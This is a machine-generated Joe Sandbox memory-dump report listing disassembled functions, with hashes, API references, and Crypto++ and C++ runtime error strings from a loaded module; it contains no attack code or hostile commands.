Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: fbccdc93be7c7dcde9876e2bbe3fecf11f8a186e7ee4b9c8504aedde8fd15b34
Instruction ID: 88b8692e32cf1137277ef5bf60676916b88de7dae3353be6c79a9426f3f53125
Opcode Fuzzy Hash: fbccdc93be7c7dcde9876e2bbe3fecf11f8a186e7ee4b9c8504aedde8fd15b34
Instruction Fuzzy Hash: AE11EC333046109FD721DE5CE880A7AF7EDEFA5A64FA0061FE562C7651C7A1E81483A2

Function 6894E441 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 6894E4DF

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Strings

PAj?Q, xrefs: 6894E482, 6894E4A9, 6894E4AC
GeneratableCryptoMaterial: this object does not support key/parameter generation, xrefs: 6894E47D

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: GeneratableCryptoMaterial: this object does not support key/parameter generation$PAj?Q
API String ID: 3718517217-1742105936
Opcode ID: 31f06dde0281e89ffb2603781d625149a63e4643fc4f356da7375af7aa046234
Instruction ID: c9dbe7758f33b9f24d408e5e53d1c0f41a5acad24329670131272250a7a442f0
Opcode Fuzzy Hash: 31f06dde0281e89ffb2603781d625149a63e4643fc4f356da7375af7aa046234
Instruction Fuzzy Hash: A711BF70C00248AFDB10DFE8D891BEEFBB8BF15304F90421AE42163681DB359604CF51

Function 689446B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 689446C4

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

_memmove.LIBCMT ref: 6894470B

Strings

string too long, xrefs: 689446BF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 1785806476-2556327735
Opcode ID: f17b922d30a5c755f4e7104ea3040eb0ed36cf797fc6407fe2f302b928d9c148
Instruction ID: abb71f0f25645275e9eb7643c8edda434d7b1102a8c407d73f301a64f838d69c
Opcode Fuzzy Hash: f17b922d30a5c755f4e7104ea3040eb0ed36cf797fc6407fe2f302b928d9c148
Instruction Fuzzy Hash: E4110B365053115FE730DD78A8C0A3FB7A8AF51318FB00B2FE4A783681D762E44A8B61

Function 68950150 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 68950201

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Strings

OutputStringPointer, xrefs: 6895018C
StringSink: OutputStringPointer not specified, xrefs: 6895019B

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: OutputStringPointer$StringSink: OutputStringPointer not specified
API String ID: 3718517217-1331214609
Opcode ID: e123ed3907a48f84777b88e23865809eaadb0fdfa3e20186691b2eead3bddf45
Instruction ID: cf2bd16537a64ba9320b824fdea17df58b3a1ed2d27f8b64339d8275621f4396
Opcode Fuzzy Hash: e123ed3907a48f84777b88e23865809eaadb0fdfa3e20186691b2eead3bddf45
Instruction Fuzzy Hash: 27217C74D44248AFCB14DFD8D890BADFBB4FB59304F40821AE825A7281DB369A04CB51

Function 6894E450 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 6894E4DF

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Strings

PAj?Q, xrefs: 6894E482, 6894E4A9, 6894E4AC
GeneratableCryptoMaterial: this object does not support key/parameter generation, xrefs: 6894E47D

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: GeneratableCryptoMaterial: this object does not support key/parameter generation$PAj?Q
API String ID: 3718517217-1742105936
Opcode ID: 88a63520072fed0dc28eae15f6f0b858f450718596a6bf433e3551b536c850ba
Instruction ID: 4c01aade4719c7834402ba845a0e812b7d59bad3b76f701c48769698f07f4b46
Opcode Fuzzy Hash: 88a63520072fed0dc28eae15f6f0b858f450718596a6bf433e3551b536c850ba
Instruction Fuzzy Hash: 86117C74D00248AFCF10DFA8C890AEEFBB8BF15308F90825AE42167291DB75DA04CF51

Function 6897BCA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6897BCFE

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

Strings

vector<T> too long, xrefs: 6897BCF9
Aj?Q, xrefs: 6897BCD0, 6897BD0C, 6897BD0F, 6897BD26

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: Aj?Q$vector<T> too long
API String ID: 1823113695-1352351690
Opcode ID: f466299e18d1e30c074d9bb725350baa3322f814e571ac5d944b51ebdd1ccb6c
Instruction ID: 31424a4b35beaee25e1a254884ceb9e9995bc20970dc7975b72870a926b5e680
Opcode Fuzzy Hash: f466299e18d1e30c074d9bb725350baa3322f814e571ac5d944b51ebdd1ccb6c
Instruction Fuzzy Hash: FD211AB6904605DFC720CF69D980A6ABBF8FB58714F50CA6EE46AD7740E730E504CBA1

Function 68982BB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 68982C69

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Strings

Aj?Q, xrefs: 68982C10
CFB_Mode: invalid feedback size, xrefs: 68982BF2

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: Aj?Q$CFB_Mode: invalid feedback size
API String ID: 3718517217-747500968
Opcode ID: df99abcbc7a45bed06a3c19ea0488780c4382850fe18faff9c6e2bf667fc71df
Instruction ID: 7be293cbb7bd5875856301f2e4a59cce9113b60d273cb4f592ab445d283b9b96
Opcode Fuzzy Hash: df99abcbc7a45bed06a3c19ea0488780c4382850fe18faff9c6e2bf667fc71df
Instruction Fuzzy Hash: 832157B4108380AFC310CF68C981A6BBBE5BBA9714F904A2EF0A583390D775D808CB53

Function 68944620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 68944636

Part of subcall function 689A9125: std::exception::exception.LIBCMT ref: 689A913A
Part of subcall function 689A9125: __CxxThrowException@8.LIBCMT ref: 689A914F
Part of subcall function 689A9125: std::exception::exception.LIBCMT ref: 689A9160

_memmove.LIBCMT ref: 6894466F

Strings

invalid string position, xrefs: 68944631

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: invalid string position
API String ID: 1785806476-1799206989
Opcode ID: a4e57c087c1614668a26dd5760599531b0db085e3ec8b9831c56887395f1991e
Instruction ID: 69fee71416ac0589bc67699073233d5a7501d16fc32df667c40f9775aa2a8c85
Opcode Fuzzy Hash: a4e57c087c1614668a26dd5760599531b0db085e3ec8b9831c56887395f1991e
Instruction Fuzzy Hash: B401D6313012418BD3348D6CEC84A2AB3AAEBD1714B64492DF195CB701D6B1EC438BA1

Function 68942710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 6894279F

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Strings

PK_MessageEncodingMethod: this signature scheme does not support message recovery, xrefs: 6894273D
QAj?Q, xrefs: 68942742, 68942769, 6894276C

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: PK_MessageEncodingMethod: this signature scheme does not support message recovery$QAj?Q
API String ID: 3718517217-3998235892
Opcode ID: d4f845589cd107f04143607e2274e788c65d849f1755e960a9e47295cfe7a51a
Instruction ID: 1f1fd5b7b94cf1bd209d14d694268dcab2de07658e3e79dbee049ba6f550c225
Opcode Fuzzy Hash: d4f845589cd107f04143607e2274e788c65d849f1755e960a9e47295cfe7a51a
Instruction Fuzzy Hash: 55112E70C45248AEDB10DFD9D890BEDFBB8AB25314F90421AE42167280DB759608CF51

Function 68944760 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 689447F9

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Strings

AllocatorBase: requested size would cause integer overflow, xrefs: 68944793
:Aj?Q, xrefs: 68944798, 689447C6, 689447C9

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: :Aj?Q$AllocatorBase: requested size would cause integer overflow
API String ID: 3718517217-2177431009
Opcode ID: ddf9a800804f0d17c94821849c7dd36ccaf62af8c93ab3532b9eeea247ae0e40
Instruction ID: 5fb400d0f193761c0767199014ceb6a3c372a3f934d3fe30989d5f1015b249b6
Opcode Fuzzy Hash: ddf9a800804f0d17c94821849c7dd36ccaf62af8c93ab3532b9eeea247ae0e40
Instruction Fuzzy Hash: CA115C70D05288AFCB14CFE9D891BEDFBB8FB15318F50422AE82167280DB359604CF51

Function 6897ACA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6897ACF8

Strings

Modulus, xrefs: 6897AD30
PublicExponent, xrefs: 6897AD1F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: type_info::operator!=
String ID: Modulus$PublicExponent
API String ID: 2241493438-3324115277
Opcode ID: 390f31626667cea80bf82aedd08286e2550f93e91caea4eafb7970cdc40e3df9
Instruction ID: 7416264247816bdcdd66b3ebb852a23904e22ba1fc6cd40f8cd0c6dd7f904766
Opcode Fuzzy Hash: 390f31626667cea80bf82aedd08286e2550f93e91caea4eafb7970cdc40e3df9
Instruction Fuzzy Hash: 4E11E030A083049FC610DF3C894155FFBE4EFE6648F80862EF4916B290EB31D948CB96

Function 6899B7F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6899B848

Strings

Modulus, xrefs: 6899B880
PublicExponent, xrefs: 6899B86F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: type_info::operator!=
String ID: Modulus$PublicExponent
API String ID: 2241493438-3324115277
Opcode ID: a03c047f2f82f574bfa0318e5b2711598f5acaa319af1b10f0b12fba2db7f3b3
Instruction ID: deb3966e6abdc6a7139b770de83e1d34a76f61c1b5f35e3f21178a428667cbdd
Opcode Fuzzy Hash: a03c047f2f82f574bfa0318e5b2711598f5acaa319af1b10f0b12fba2db7f3b3
Instruction Fuzzy Hash: BC11CE34A08344AECA00DF2D884155AFBF8EFE6248F84066EF8915B251EB75D948CB96

Function 6897B5F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6897B605

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

_memmove.LIBCMT ref: 6897B634

Strings

vector<T> too long, xrefs: 6897B600

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: b67db141851f2590d1e9d73f4a40ff57a98289a3027957612b25eef1481e7514
Instruction ID: 7318e322d9ac67fa4923876dadac4ce003d55d269bb4fda2570dd0ce7d434113
Opcode Fuzzy Hash: b67db141851f2590d1e9d73f4a40ff57a98289a3027957612b25eef1481e7514
Instruction Fuzzy Hash: 850184B26002059FD724DEA9DC95C6BB3ECEF542547544A2DE9ABC3650E671F804CB60

Function 689A4230 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 689A4241

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

_memmove.LIBCMT ref: 689A4277

Strings

vector<bool> too long, xrefs: 689A423C

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
